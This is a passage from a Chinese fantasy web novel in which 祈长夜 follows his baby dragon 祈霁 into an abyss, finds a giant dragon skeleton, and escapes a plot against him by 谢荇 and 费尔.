温暖的被子，小龙贴着他，传递出暖烘烘的热量，从脸侧，一直到指尖，再蔓及全身。 沉宁的梦境，似有柔和的绒羽，拂过他的脸庞。 【哥哥】 清脆悦耳的少年声音出现在梦中，满是笑意，像微风卷动窗前的风铃。 【哥哥，我和你睡一起，那个人不会怪我吧？】 【哥哥把我捡回去了，那个人不会生气吧？】 【我害怕，哥哥能不能保护我？】 【哥哥——】 祈长夜：“听到了。” 少年乖乖地：【哦】 过了两秒。 【哥哥，我怕黑，要哥哥抱紧我才不怕】 祈长夜：“……” 祈长夜：“退订。” 19、第十九章 分别 雨下了一夜，直到早晨，空气间还残留着淡淡凉意。 临出门前，祈长夜给小祈霁穿上保暖的羊毛小衣服。 裹上一层围巾。 再裹上一层围巾。 膨胀成毛绒球的小祈霁：“？” 这只小龙艰难地往前挪了一步。 踩到爪爪了，啪叽摔倒，变成一团球，骨碌碌往前滚。 祈长夜抬手，截住这团毛绒龙，把它捧在掌心。 圆润的小龙努力扬起小爪爪，试图把自己从一堆衣服里抻直。 “嗷嗷。” 太多啦。 “不多。”祈长夜说，“深渊很冷。” 顺手再给小祈霁的四只爪爪都套上软和的加绒小靴子。 小祈霁低头看看自己。 圆滚滚，毛茸茸，雪白白。 “咩。” 祈长夜：“……” 他的手指勾起什么东西，挂在小祈霁的脖颈上。 小祈霁努力地从毛绒衣服里伸长脖子，看到了哥哥给的东西。 一条短短的银链，穿着一枚戒指。戒指镶嵌乌黑的晶石，微微发光。 小祈霁捧起戒指，晶石的反光清晰地映进它的龙瞳。 亮晶晶！ 哥哥的礼物！ 小龙开始圆润地转圈圈。 “深渊抵御侵袭的道具。”祈长夜说，“对你应该没用，但——” 小祈霁抱紧戒指。 喜欢！ 祈长夜：“戴着好看。” “嗷呜！” 小祈霁用两只小爪爪高高捧起戒指，很宝贝似的，脸庞贴着蹭一蹭。 哥哥给的，就是最好哒！ 祈长夜拉开衣兜，看看小龙。 换做之前，小祈霁轻轻松松就能蹦进去，但现在，这团膨胀的毛绒龙扒拉住祈长夜手指，爪子一松，圆润地滚进了他的衣兜里。 于是，祈长夜的衣兜鼓起了一块，是圆滚滚的毛绒龙在移动。 很快，一只小脑袋从里面冒了出来：“啾！” 祈长夜点点那只小脑袋：“走吧。” 荒原之上，灰白塔台驻立在雨雾中，两侧高墙延伸，筑起数公里的钢铁要塞。 百年前，深渊出现，随机分布于大陆的各个区域。不同区域的深渊形态相似，都是割裂大地的黑暗深谷，只是规模大小各有差异。 芙洛城所管辖的这块深渊，属于小型深渊，一共只有十层，怪物数量并不算多——但，深渊无法预测，哪怕知道具体的层数，也无法预估可能诞生什么等级的怪物。 深渊很危险，人类至今无法完全掌握，这是共识。 “祈队。” 深渊边沿，谢荇好像什么事都没有发生过一样，对他微笑。 “这次的调查任务，要拜托你了。” 他身边是费尔，身后还有乌城的十几位进化者，至于芙洛城的进化者，被挤到了队伍最后方。 凛冽的寒风拂过乌黑发丝，露出冷然的眼眸，祈长夜平静地俯视深渊，视线下垂，落在他的小龙身上。 小祈霁的下巴搭在他的衣兜边缘，也在看着深渊。这是它的出生之地，也是它和哥哥初遇的地方。 小龙昂起脑袋，蹭蹭祈长夜落下的手指。 众人进入深渊，乌城的进化者抢在前方，他们的表情充满自信——然而，一落地，这份自信就消失了。 先感知到的并不是吞没视野的黑暗，而是寒冷。 四面八方、铺天盖地的寒冷，向他们挤压而来，穿透皮肤，钻进骨缝。 有个进化者直接释放出熊熊火焰，很快，他震惊地发现，炙热的火也无法驱散那无孔不入的冰寒。 那不是普通的寒冷，而是从身躯渗透进他们的灵魂，冻结，再一点点地将灵魂撕裂。 深渊侵袭。 几个乌城进化者痛苦地弓起身躯，他们很强大，觉醒之后就是a以上的等级，但，他们从未进入过深渊，更别提抵抗深渊侵袭。 乌城，上城之城，位于一片远离深渊、绝对安全的地带。出生在乌城的人，有很多也和他们一样，一辈子不曾见过深渊。 祈长夜抬手，他的手指颀长削瘦，骨节分明，苍白指间戴着一枚镶嵌黑色晶石的戒指。 戒指散发淡淡的光亮，驱散了周围的黑暗，令它们只能停留于他周身数尺。 小祈霁蹭了过来，大概是觉得哥哥的手真好看，轻轻抱住。 其他进化者纷纷效仿祈长夜的动作，一点点光亮汇聚而起，不仅是黑暗，连寒冷也减轻了大半，不再那么难以忍受。 谢荇呼出一口气，按下因为寒冷而不停发颤的手，对身后的人说：“星石一旦熄灭，就换新的。每人两颗，两颗之后，无论发生什么，都必须退出深渊。” 戒指上的星石是一种价格高昂的防护道具，可以抵御深渊侵蚀。但，就算有防护装置，人类也无法长时间停留深渊。 “曾经有个s级进化者，自恃实力强大，想要挑战深渊，最终，死于深渊侵蚀，死在了第一层。” 费尔轻蔑的目光扫过人群。 “你们之中，最好没有这种蠢货。” 一片静默，进化者们开始向前，探索深渊。 一层到五层，他们遭遇了不少怪物，都被轻松解决。 路上异常顺利，渐渐的，初次来到深渊的乌城进化者们多了一些想法。 ——虽然一开始有些难受，但只要带上防护装置，也就是冷一点罢了。 至于源源不断的怪物，都很弱小，不值一提。 看来，深渊也没有那么危险。那个经常出没深渊的祈队，也没有想象中那么厉害。 “真安静啊。”谢荇轻敲戒指的晶石，脸庞偏向一侧，“难道，这块深渊没有异常，之前的地震，只是意外？” 这句话是询问的语气，然而，并未得到回应。 祈长夜正在低头。 小龙在他的衣兜里玩儿一会，成功把自己陷进了几层围巾里，小脑袋拱来拱去，试图钻出来。 “啾啾，啾啾。” 哥哥，救救，救救。 祈长夜飞快解开一层围巾。 得救的小祈霁很快扑腾出来，沾了点绒毛，抖抖脑袋，露出一双溜圆的龙瞳，眨了眨。 祈长夜摘掉它头顶的绒毛：“不冷吗？” 小祈霁：“嗷。” 我就是这里长大的呀。 祈长夜：“也对。” 从寒冷的深渊里出来的小太阳，当然不会惧怕深渊侵袭。 为免小龙再被一层层围巾捂住，祈长夜将它抱了出来。 小祈霁在他指间蹦跶一下，暖烘烘的，开始发烫。 小小的太阳，为他驱散了深渊的寒冷。 祈长夜用手指逗逗小龙，小祈霁追着他的指尖，欢快地游走穿梭。 “祈，祈队……” 一个芙洛城的进化者小心翼翼地凑了过来。 “那个，那边有……” 他的手指向一边，那里有一片生长在深渊内的晶石，色泽雪白。 五层以下的深渊会产出晶石，蕴含特殊能量，不仅可以增强进化者力量，也能被做成各种异能装置，又或是首饰艺术品——无一例外，价格极其高昂。 这是一条利益十分庞大的产业链，因此，哪怕深渊危险，也会有专门的进化者小队为之而来。 芙洛城的进化者，想要顺路开采一些晶石。他们不敢询问乌城那两位大人物，灵机一动，找上了祈长夜。 换作之前，他们其实也不敢靠近这位禁忌般的祈队，但最近的城内传闻，祈队其实没有那么危险。 据几个不愿意透露姓名的实验人员作证，之前上城的人想无故抓走他们，是祈队出面挡下的。 而且，他还养了一只小怪物，就是那条假冒的“帝龙”——那么丑的怪物都能捡回去养，看起来就很心善。 祈长夜没说什么，算是默许。那几个进化者见他同意，更是喜出望外。 欢天喜地地跑过去，叮叮哐哐，开采晶石。 五层的晶石开采起来并不困难，总共也没有耽误多少分钟，进化者们很快回来，作为感谢，将一小袋晶石送给祈长夜。 祈长夜原本不打算收下，不过，他发现小祈霁一眨不眨地盯着那边，还揪揪他的袖子，发出软乎乎的“啾啾”声。 于是，那几块晶石变成了小龙的玩具。 亮晶晶！ 小祈霁捧着比它脑壳还大的晶石，龙瞳好像浮出许多小星星。 一大块的亮晶晶！ 祈长夜：“你喜欢？” 小祈霁小鸡啄米般点点脑袋，尾巴一扫，像个小财迷一样，美滋滋地笼住晶石。 祈长夜安静地垂眸。 原来，这只小龙喜欢亮晶晶的东西。 就连它的鳞片，也是亮闪闪的。 “啾啾！” 小祈霁在晶石袋子里扒拉扒拉，挑出自己认为最好看的一块，非常珍惜地捧给祈长夜。 给哥哥！ 祈长夜接住那块晶石，打算回去以后加工成项链，再送给小龙。 “你出生在这里，应该见过很多晶石。”他说，“有喜欢的吗，我带你过去。” 小祈霁满足地抱住剩下的晶石，摇摇脑袋。 没有见过呀。 我一直在等哥哥，从不乱跑哒。 祈长夜眼眸微动。 “要是有怪物呢？” 小祈霁：“嗷呜。” 躲起来呀。 祈长夜无端想到，一颗幼小的蛋，在深渊里咕噜噜滚着，孤零零的，没有窝，不知道能去哪里。 遇到危险，也只能偷偷躲在角落，害怕得瑟瑟发抖。 像是看出祈长夜的想法，小祈霁晃晃他的手指。 哥哥不要难过。 我很凶，才不怕它们。 说着就张牙舞爪，摆出一副嗷嗷凶的样子。 祈长夜眼底的墨色微融，垂下手指，轻轻笼住小祈霁：“还好。” 还好那天，他遇到了这只小龙。 小祈霁愉悦地摆摆尾巴。 那天，它一找到哥哥，哥哥就把它捡回家了。 所以，哥哥最喜欢它！ 深渊六层。 刚下到这里，进化者们明显感觉压力和前五层截然不同。就连那被星石隔绝开的寒意，都刺骨了几分。 谢荇取出一个密封的盒子，打开，将一串晶石手链挂在腕间。 祈长夜余光瞥过，并未言语。谢荇却笑着解释起来：“这样的星石手链，我还有很多，走一层丢一层都没问题。” “以后，我还会组建自己的进化者小队，探索深渊，加入我的小队，都能拥有这样的配置。” 祈长夜淡淡开口：“想在这里活下来，最好依靠自己。” “借助外物，可以事半功倍。”谢荇摇摇头，“上城早就研发出了许多先进的道具，这座下城没有那么多资源，当然也只能说服自己，要靠自己的力量。” “时代早就变了，在这些顶级的防护装备面前，深渊也没有那么可怕。” 小祈霁转过龙瞳，盯着他。 谢荇按住手链，挑了下眉，别过脸。 深渊六层，他们遭遇了比之前更多的怪物。乌城的进化者们花费一番时间，还算顺利地解决了。 第七层入口，祈长夜对其他芙洛城的进化者说：“你们留在这里。” 费尔看了过来：“怎么，祈队有额外的打算？” “第七层是分界线。”祈长夜说，“要小心。” 简短的三个字，似乎并没能引起乌城进化者的重视。实力比他们低许多的芙洛城进化者都没有意见，留在六层。 小祈霁盯着七层的断口，似乎在想些什么。 祈长夜：“怎么了？” 小龙昂起脑袋，尾巴圈住他的手指。 “嗷。” 哥哥，我想去下面，更深的地方看看。 祈长夜：“好。” 他没有问为什么。 小祈霁抱紧他的手指，尾巴尖尖轻轻摇晃，上面的鳞片也一闪一闪，像深渊落下的星子。 祈长夜飞快给它的尾巴套上毛绒小软套。 小祈霁歪头，眨眨龙瞳。 “冷。” “……嗷。” 它听哥哥的！ 第七层—— 一个乌城进化者走在最前方，环顾左右，嗤笑一声：“和上一层没什么区别啊，果然，深渊根本不可怕……” 话音未落。 整个深渊，骤然动荡。 大地在撕裂，突如其来的地震让许多进化者一下失去平衡，周围的黑暗汹涌沸腾，瞬间逼近，伸出张扬爪牙——他们指间，原本还能持续一段时间的星石，直接崩碎！ 深渊七层的侵蚀海啸般袭来，来不及更换星石的进化者们就像赤.身裸.体暴露在下着冰刀的雪原上，身体连带灵魂被活活剖开，惨叫四起。 下一秒，更加深邃的黑暗横卷而起，瞬间撕裂原本的黑暗，撑起动荡的深渊。 侵蚀被隔绝，进化者们得到解救，瑟瑟发抖地蜷缩在一起，发现庇护他们的黑暗……来源于那位眼眸冰冷的祈队。 他的影子倒映在深渊的大地上，向四周黑暗蔓延，连接了无尽的深渊。 费尔心头一震。 这是什么能力？ 他知道，三年前的祈长夜，精神力鼎盛之时，被人称为“傀儡师”。那双冰冷的金色眼眸，只要对视，就能杀死一位顶尖进化者，轻松得如同操纵傀儡。 最开始，上城还以为是祈长夜能够通过对视控制其他进化者，使其自杀。也因此，有人针对这一点，自以为是地研究出了克制他的方案。 直到后来，祈长夜血洗乌城，他们才意识到，他的能力根本不是什么精神控制，而是最简单，最直接的——精神力震慑。 精神震慑，强制臣服，直接扼杀，宛若神降。 亦如深渊侵袭，抵抗不了，就是死亡。 这样的能力，有一个更加简单的克制方法——比祈长夜精神力更强，就能无视震慑。 结果如何呢？ 血洗乌城，那一夜血淋淋的阴霾，依然笼罩在乌城之上。 如今，祈长夜的精神力严重受损，甚至步入干涸。但，依然没有人敢轻易对他动手，众人依然畏惧着，他掀盘的可能。 而现在，他所展现出来的能力，和“傀儡师”的描述，根本不同！ 这又是什么能力？！ 费尔骤然后退，好像此刻，才真正直面了深渊。 “……” 另一边，谢荇盯着自己流血的手腕，思绪停滞。 那串价值数千万的星石手链、舅舅亲手交给他的保命符，就这么碎掉了。 仅仅是这个偏远下城的小型深渊，仅仅是第七层的一次动荡，就毁掉了如此珍贵的防护装置，差点连他也…… 十几个进化者，最顶级的防护装置，都挡不住深渊一次波澜。 这个地方，没人能保护他。 除了…… 谢荇的瞳孔收缩，猛然抬头，紧紧地锁住那道修长的身影。 “我们回去吧。” 他听见自己发凉的声音。 “任务作废，我们回去！” 他不能死在这里！死在这个肮脏的下城！ 谢荇呼吸急促，胸腔泛起尖锐的痛楚。熟悉的疼痛撬动他的记忆，很多年以前，他也曾这样，像一个溺水之人，祈求着抓住那根救命的稻草—— 那一次，他抓住了。 而现在，那个人没有为他回头。 祈长夜看着自己掌心。 他的小龙……不见了。 就在刚才，原本被他护在手中的小祈霁，凭空消失。 甚至，没有发出一点声音，就被剥离了他身边。 深暗的眼眸抬起，前方是塌陷的深渊，在动荡中被割裂而开，只留一片幽邃的黑暗，通往下层。 他向前一步。 “哥！” 身后响起谢荇的声音，急促而剧烈，充满哀求的意味。 “我走不下去了……我会死在这里的！” “我们一起回去吧……你说过……你以前答应过我，会保护我的！” 费尔匆匆取出一个密封盒子，将里面崭新的星石戒指套入手指。密封状态被解除，星石接触到深渊的黑暗，开始微微发光。 他感觉自己悬起的性命勉强落回胸腔，语气微弱地开口，同样也是恳求： “祈队，第三席大人有过命令，一定要保证他的亲外甥活着回去。当年，大人也曾这么庇护过你，这份恩情——” 祈长夜摘下指间的戒指，头也不回，丢过去。 金属戒指落地发出清脆的声音，滚了几圈，撞到谢荇脚边。 那枚毫无损坏的星石，一下一下闪烁，刺痛谢荇的双眼，宣告一个宛若死刑的事实。 ——祈长夜的选择，并不是他。 这一刻，他像是再也控制不住自己，撕去了伪装的假面：“为了一只怪物，你不要我了吗？！” 祈长夜：“是。” “如果你是这么想的，那我告诉你。” “无论何时，我只会选择祈霁。” 他向前。 毫不犹豫，跃下深渊。 …… 黑暗深处，一只小龙，艰难地在坎坷的地面上爬行。 锋利的石块，粗糙的砂砾，每一次爬过，都能磨破脆弱的皮肤，扎进血肉。 刚破壳没多久的小龙，爪子还不坚硬，鳞甲还未长出，是条脆皮小龙……但，它也没受伤。 因为，它的四只爪子都套着靴子，身上的小衣服内外加绒，从头到尾，就连尾巴尖尖，都被柔软厚实的针织保护了起来。 毛绒绒的小龙只是爬得有点慢，有点狼狈，从一只被哥哥养得干干净净的小龙，变成了灰头土脸的小煤球。 小祈霁昂起脑袋，轻轻“啾”了一声。 没有回应。 小龙慢慢垂下脑袋。 深渊如此庞大，只有这道小小的，孤零零的身影。 很快，小祈霁又开始爬行，踉踉跄跄，歪歪扭扭，却没有停下。 孤零零的小龙，努力地想要攀过高山，哪怕高山如此遥不可及，哪怕它还只有一点点大。 攀过去，它就能再见到那个人。 忽然，小龙停住了。 那双龙瞳倒映出了什么，随后，小龙炮弹一样，飞快冲了过去。 就像，长出一对小小的翅膀，在深渊飞行。 第二十章【VIP】 第二十章 小祈球 深渊, 第七层。 谢荇跪在地上，遍体冰凉。 黑暗里，飘来费尔的声音：“少家主, 你先回去吧。” “他没有防护装置, 独自进入第八层……这是最好的机会, 运气好的话, 我甚至不用动手, 就能达成目的。” “运气不好，我死了，也对得起谢家。” 这几句话, 并没有撬动谢荇的表情。 “……我和你一起去。” 他支撑着膝盖, 缓缓站起, 露出黑暗中, 森然的双眼。 “那只怪物，我一定要让它死。” —— 深渊，第八层。 没有他的小龙。 风衣衣摆染上寒霜，眼眸沉厉、苍白冰冷的年轻男子踏过满地怪物尸骸，如同降临深渊的寒灾。 他的身侧是张牙舞爪、侵蚀而来的黑暗。 然而, 没有一寸黑暗，能够触碰他的衣角。 他行走深渊，等同行走于人间的大地。 深渊似乎永无尽头, 一路向下, 只有幽邃的黑暗。 第九层。 数不清的怪物, 在黑暗中嘶吼，亮起一双双幽绿的眼睛。 祈长夜：“滚。” 他的眼眸似有金色的火焰燃烧, 炽烈的亮色，烧灼深渊的黑暗。 深渊之下, 亘古不变的冷夜，被灼热的金色白昼付之一炬。 然而，临近深渊底部，依然没有他的小龙。 祈长夜的目光停在一处。 ——第十层。 这里不再有怪物，只有死寂。 深渊的尽头，荒凉，寂寥，像是末日之后，万物众生的长眠之地。 黑暗是这里的主色调，然而，一束淡薄的星光从缥缈的高处落下，照亮了幽深而静谧的一角，星光拂落之地，绿幽幽的莹草，稀疏点缀疮痍的大地。 祈长夜停住脚步，乌黑的眼眸，定格在这一刻。 星光下，莹草间，躺着一具巨大的，森森白骨。 那是他从未见过的生物，但在闯入视线的那一刻，仿佛古老血脉沸腾的本能，他认出了它—— 龙。 巨龙的骸骨，长眠于深渊之下。 逝去的时代，沉寂在星光之间。 滴答，滴答。 祈长夜一步步走了过去，衣间的寒霜消融，混着血迹，坠落脚下的荒芜。 鲜血蜿蜒，蔓向巨龙骸骨。他的衣摆垂地，冰凉指尖，触碰到那抹生机已逝的雪白。 陌生的巨龙，已成白骨的头颅静静地偏向一边，空洞的眼眶，隔着时间，与他长久凝望。 这一刻，似乎有不知从何而起的悲伤将祈长夜淹没，无边无际，像掀起的海洋。 他无法喘息，无法挣脱，沉没在寒渊里，被无尽的痛苦烧灼心肺，视野之中，仅剩那一抹空洞而燃烧着的雪色。 莹草摇晃，乌黑发丝散落泥地，苍白的年轻男子倒在骸骨之间，失去了意识。 蜿蜒的血迹另一侧，黑暗浮动，两道蛰伏如兽的身影，在暗处直立身躯，露出皮囊。 谢荇表情复杂，从衣服内层，取出一只药瓶。 沾着他体温的药瓶，里面有一颗漆黑药丸。谢荇踩过莹草，捏住药丸，单手捧起祈长夜冰凉的脸庞。 像是早已在心底描绘过无数遍这样的画面，他凝视那沉静疏离的眉眼，微微屏住呼吸。 “少家主。” 费尔苍老的手按住他的肩膀。 “让我来。” 他的手腕一翻，握住一把锋利的刀。 谢荇：“你做什么！” 刀刃映出费尔阴骘浑浊的眼睛：“我得到的命令，是除掉祈长夜。” “……不行！” 谢荇在这一瞬间想到了什么，用力压下他的手腕，咬牙切齿：“我们来这，是为了把他带回上城，让他为我效力！” 费尔布满褶皱的脸庞毫无波动：“您难道忘了，第三席大人和您，和他？” “你确定，要让他活着回到上城，再次出现在第三席大人面前？” “……” 谢荇掌心一片冰凉，贴上祈长夜苍白的侧脸，似乎生怕他醒来，只是缓慢地摩挲。 “只要吃下这个药，他就会听我的，完完全全，成为我的掌中之物。” “所以，没关系。我会把他藏起来，当做一把暗中的刀，只有必要时，才出鞘。” “每个家族都需要这样的刀，不是吗？” 费尔：“您说得对。” “但，他必须死在这里。” 谢荇：“你——” 一声冷冷的嗤笑，自高处飘下，宛若厉鬼现于人间，令谢荇和费尔当场凝固，从脊背蹿起一股寒意，直逼天灵盖。 仿佛被某种力量强制牵引，费尔机械地抬起头颅，惊恐的眼睛，映出此生最后一幅画面—— 幽渺的星光中，一道模糊的身影，高高坐在巨龙骸骨之上，投落的阴影笼罩了祈长夜。 平地卷起飓风，莹草剧烈晃动，费尔的身体被高高拖起，拽入星光所照映不到的深黑帷幕。 深黑的帷幕在震颤，在挣扎，声嘶力竭，无能为力。 “老师！” 谢荇好像才活了过来，发出一声惊叫，刚要起身，又双膝一软，跪倒在地。 扑通。 有什么东西落了下来，骨碌碌，滚到他的面前。 那是一颗头颅。 那双突出的眼睛，正正对上了他。 ——谢荇放声尖叫，几乎震穿自己的耳膜。 恐惧冲顶，他感觉自己的头发被拉扯，他的脸皮、他的身体，都在与他剥离。甚至他的情绪、思想以及灵魂，都变得不再属于他。 最让他战栗的是，他甚至看见一道淡透明的灵体，从他头顶飘出，离他远去，就像……被某种无法言说的存在，一口一口吞吃。 巨龙骸骨之上，那道原本模糊的人影一点点凝为实体，甚至逐渐出现了五官，和谢荇相似—— 然后，那道人影抬手，十分嫌弃地抹去了现在这张脸庞。 【真难看】 【哥哥才不会喜欢我披着这么难看的皮】 【哥哥眼中的我，一定是独一无二的】 少年冰冷的低语飘落，半虚半实的人影间，一双灿金色的竖瞳睁开。 谢荇的灵体重归于体，抽搐两下，直接昏死过去。 拥有金色眼眸的虚影没去理会他，飞快跳下骸骨，伸手，想要抱住昏迷的祈长夜。 “他”的双臂，直接从祈长夜身躯间穿过，宛若空气。 “……” 虚影看看自己，再看看祈长夜，好像有点难过，微微耷拉下脑袋。 不过，“他”似乎又安慰了一下自己，小声地说： 【哥哥，再等一等我】 少年虚影俯身，贴着祈长夜额间，隔着虚空缓缓磨蹭一下。 ——与此同时，祈长夜睁开眼眸。 意识清醒的那一刹，那双乌黑眼眸满是警戒与霜寒。 有什么东西落下，祈长夜瞬间捕捉到那个小小的身影，抬手。 啪叽。 接住了。 他的掌心，多了一只脏兮兮的小龙。 小祈霁全身的毛茸衣服都沾满泥土，黑乎乎的，还到处打结，像是在山里滚了一百圈。 这只灰头土脸的小龙扑到他怀里，软乎乎地蹭着他，大声“啾啾啾”。 【哥哥！哥哥！】 “……” 祈长夜收拢掌心，捧起小鸟崽一样啾啾叫的小龙，贴住自己胸口。 温暖的，活泼的小太阳。 失而复得。 他下意识收紧手指，又怕弄疼小祈霁，缓缓松开。 那双沉淀着许多情绪的眼睛安静地看着小龙，似有千言万语，最后，只是三个字：“没事吧？” 小祈霁：“昂！” 没事哒！ 哥哥不要担心，我回来啦！ 祈长夜眼睫微动，小心地将小祈霁身上的衣服脱下，检查了一遍。 虽然脏兮兮的，好像从泥地里滚了一圈。 但，没有受伤。 安然无恙的小龙。 他低头，脸庞轻轻贴上他的小龙，感受着这只幼崽的体温，以及呼吸的起伏。 小祈霁不动了。 呆呆地，乖乖地伸出小爪爪，贴住哥哥的侧脸。 片刻后，祈长夜抬起脸庞。 他没有问这只小龙去了哪里，为什么离开自己。一切已经过去，此刻，小龙依然留在他的掌心，才是现实。 软软的小尾巴摇得飞快，小祈霁龙瞳亮亮地看着他，忽然又呆愣一下。 有点心虚，小小地“啾啾”两声。 它身上脏兮兮，所以，祈长夜白皙的脸庞，也蹭到一点灰。 这只煤球小龙低头一看，哥哥的掌心也被它蹭脏了。 “……呜。” 哥哥，脏脏。 “没关系，”祈长夜并不在意，顺手用袖子轻柔地擦擦小祈霁，“你没事就好。” 袖子擦了几下，因为小龙太脏，反而越抹越黑。 最后，小龙彻底变成了一颗小煤球，只有一双浅金色的龙瞳，无辜又单纯地睁着。 祈长夜默默地放下手。 “回去再给你洗澡。” “嗷！” 小煤球开始滚来滚去。 祈长夜眼眸柔和，目光短暂扫过自己。 他身上的伤，被治愈了。 ——在昏迷的时候。 祈长夜偏过脸，凝望自己身边，那具静静躺着的巨龙骸骨。 小祈霁蹦跶过去，把自己的一身灰蹭到了雪白的骸骨上。 变干净了一点点。 开心。 蹦跶回来了。 祈长夜：“……” 他无言地撕下自己衬衣衣角，一点点擦干净了骸骨。 小祈霁仰起脑袋，望着他专注的侧脸，龙瞳弯弯。 祈长夜侧首，对上小龙的视线：“它和你有关系吗？” 回应他的是小祈霁无辜的眼神：“嗷。” 不知道呀。 然后扒拉着哥哥衣角，想爬回他的身上。 “我曾经来过这里。” 祈长夜接住小祈霁，另一只手来回抚过没有温度的骸骨，语气很轻。 “那时，这里只是深渊。” ——芙洛城的深渊第十层，原本什么都没有。 小祈霁破壳的那一天，深渊动荡，巨龙的遗骸，出现于此。 此刻，祈长夜凝视巨龙空洞的眼眶，仿佛望见了两簇熊熊燃烧的金色火焰。 这条属于旧地球时代的龙，在这里迎来生命尽头的那一刻，会想些什么？ ……漫长的时间，早已冲刷走了一切答案。 他微微侧首，对上一双生机明亮的浅金色龙瞳。 “走吧，我们回家。” “昂！” 和哥哥回家！ 祈长夜抱着小祈霁起身，掌心温柔地落在巨龙的头颅上方，和它告别。 “再见。” 莹草幽幽晃动，星光缥缈无声。 祈长夜向前走去，好像没有看见地上的那颗人类头颅，只是在路过谢荇身边时，随手拖起他的衣领。 小祈霁盯着昏死的谢荇，龙瞳幽深。 祈长夜的手指点在它的脑袋上，揉一揉。 “他的亲人，曾经庇护过我。”他的语气平淡，只是简单的陈述，“这是最后一次，这次之后，他是生是死，都与我无关。” 小祈霁：“嗷。” 它才不在意呢。 垃圾就应该丢进垃圾桶里。 哥哥只喜欢它。 小龙嘀嘀咕咕，爬到祈长夜肩上，蹭蹭他柔软的乌黑发丝。 发现又不小心给哥哥蹭脏了。 心虚地往外挪挪，趴在哥哥肩上，睁着圆滚滚的龙瞳，一动不动。 乖乖的小煤球。 深渊六层，戴着星石戒指的乌城进化者鹌鹑一样缩在那里，旁边的芙洛城进化者不解地看着他们。 直到祈长夜一步步从深渊下层踏出，丢垃圾一样将谢荇丢给他们，这群乌城进化者也什么都不敢说，更不敢询问费尔的下落，默默地带着谢荇，远远跟在芙洛城进化者身后。 【哥哥】 【哥哥！】 从刚才起，耳边就响起什么声音。 【哥哥，能听到嘛？】 【……听不到嘛？】 【歪？哥哥，我系小龙】 轻灵悦耳的少年声音自顾自地低语，祈长夜默默低头，对上小祈霁忽闪忽闪的龙瞳。 “是你在说话？” 小祈霁歪头：“？” 【是我！】 【哥哥！】 祈长夜沉默两秒，说：“我还以为闹鬼了。” 小祈霁：“？” 小龙开始嗷嗷叫。 祈长夜让小龙跳到自己手上，声音温和：“你怎么会说话了？” 小祈霁叉腰。 【我变强啦！】 【哥哥再等等我，我还会长大的！】 祈长夜：“好。” 看来这次，他的小龙收获了很多东西。 小祈霁坐在他的掌心，尾巴摇啊摇，耳边的“哥哥”也一声声没停。 祈长夜发现，小龙的声音还挺好听。 ……不知道唱歌的时候怎么样。 【哥哥，哥哥】 小祈霁用软软的爪子扒拉他的衣角，仰起小脑袋，语气多起了几分小期待。 【是不是只有我能这么喊哥哥！】 祈长夜低头，小祈霁眨巴眨巴地看着他。 “以前……” “？” 小祈霁警觉探头。 祈长夜摸摸小龙：“你是特别的。” 小祈霁顿时开心了，蹦来蹦去，尾巴一甩一甩，好像在跳小踢踏舞。 【喜欢哥哥！】 毫不犹豫就能说出的话语，像是开满枝头的繁花，轻易就能摘下。 祈长夜看着他的小龙，眼眸泛起一丝不易察觉的涟漪。 “下次，如果要离开的话，先告诉我一声。” 小祈霁与他对视，读懂了那双乌黑眼眸中的情绪，窝在他的掌心，龙尾缠住修长手指，脑袋轻轻抵着他的指尖。 “嗷。” 【我不会走的】 深渊的出口投照一缕天光，小龙看着面前的人类，认真地许下承诺。 【我想永远，永远和哥哥在一起】 祈长夜安静地垂下眼睫。 哪怕是在黑暗的深渊，那双浅金色的龙瞳依然明亮，似有星辰闪烁。 最终，他什么也没说，只是伸手，轻轻拢住小龙。 深渊的最后几步路程，小祈霁缠在祈长夜指间，又和哥哥解释了一下。 它不是故意离开的。 它是被忽然拽过去的。 等反应过来，哥哥已经不在它身边了。 “嗯，我知道。” 祈长夜并没有询问什么。 小祈霁看着他，扑到了他的胸口，蹭啊蹭。 天光破开云层，洒落荒原。 深渊边沿，祈长夜沐浴微光，举起掌心里的小龙。 黑漆漆，小煤球。 在外面看起来更黑了。 ……好像他们重逢的时候，小龙身上还是有几块干净地方的，被他用衣服擦过，就一块都不剩了。 祈长夜默默地揉揉小龙，当做什么也没发生。 小祈霁也知道自己什么样子，大大咧咧，很没形象地坐在哥哥掌中，看着哥哥被弄脏的手指，伸出小爪爪，又放下，过了两秒，还是伸出小爪爪，一把抱住。 开始心情很好地哼歌。 祈长夜：“……” 怎么还是那么难听。 祈长夜欲言又止，不远处，芙洛城的进化者似乎听到了什么，惊恐地左顾右盼：“有鬼在叫！” 小祈霁：“？？？” 祈长夜无言地按住嗷嗷炸毛的小龙，熟练地安抚它。 最后，小祈霁气呼呼地坐在哥哥手背上，决定以后只有哥哥和它在的时候才唱歌，只唱给哥哥一个人听！ “啾！” 哥哥听到了嘛！ “好吧。” 祈长夜捏捏小龙的爪子。 远处，忽然有一道男声响起，尾音扭曲，几乎破音：“我的精神力呢？！” “我的精神力……为什么，我感应不到了？！” 谢荇不可置信地张开双手，血丝满布的眼睛死死瞪着面前的治愈者，忽然暴起，掐住对方的脖子。 “说！你是谁派来的？！是谁让你害我？！！” 愤怒的嘶吼不断响起，治愈者被推倒在地，一开始还在艰难呼救，但很快，那个治愈者似乎发现了什么，抬脚一踹，就将谢荇踹开了。 ——作为进化者，哪怕只是治愈系，身体素质也远超旁人。 谢荇原本也是进化者，对外宣传的等级是A级。然而，就在刚才，他从昏迷中苏醒，发现自己的精神力消失，变成了一个普通人。 这种情况并非没有先例，之前就有进化者因为遭受深渊反噬，虽然保住性命，却失去了能力——只是，这种例子极为少见，万中无一。 而现在，谢荇成了那个厄运儿。 乌城的进化者们面面相觑，最终，还是有人上前：“少家主……” 话还没说完，谢荇眼睛一闭，又晕死过去。 那边一片兵荒马乱，从始至终，祈长夜都没在意，更没分去半点目光。 “祈队……” 芙洛城的几个进化者悄悄挪到他身边。 “上城那边好像在发癫，他们不会怪上我们吧？” “不会，”祈长夜平静地说，“和你们无关，回去吧。” “好耶！” 一片欢呼声说，有人冒出一句：“祈队晚上喝酒去吗，我请客！” 小祈霁：“？” 祈长夜：“谢谢，我不喝酒。” “这样啊！其实我还知道一家很不错的馆子——” 小祈霁：“？？？” 祈长夜按住跳起来的小龙，婉拒了他们的邀请。 小祈霁紧紧扒着哥哥，幽幽地盯着那群进化者，直到他们走远，才“嗷”了一声。 【哥哥，酒是什么？】 祈长夜带着它往前方走去：“你还小，不能喝。” 【那，哥哥也不能喝】 不能和别人喝！ 祈长夜听出了小龙的意思，没说话。 小祈霁：“？” 没过几秒，这只小龙就开始急得跳来跳去。 【哥哥！哥哥！哥哥！】 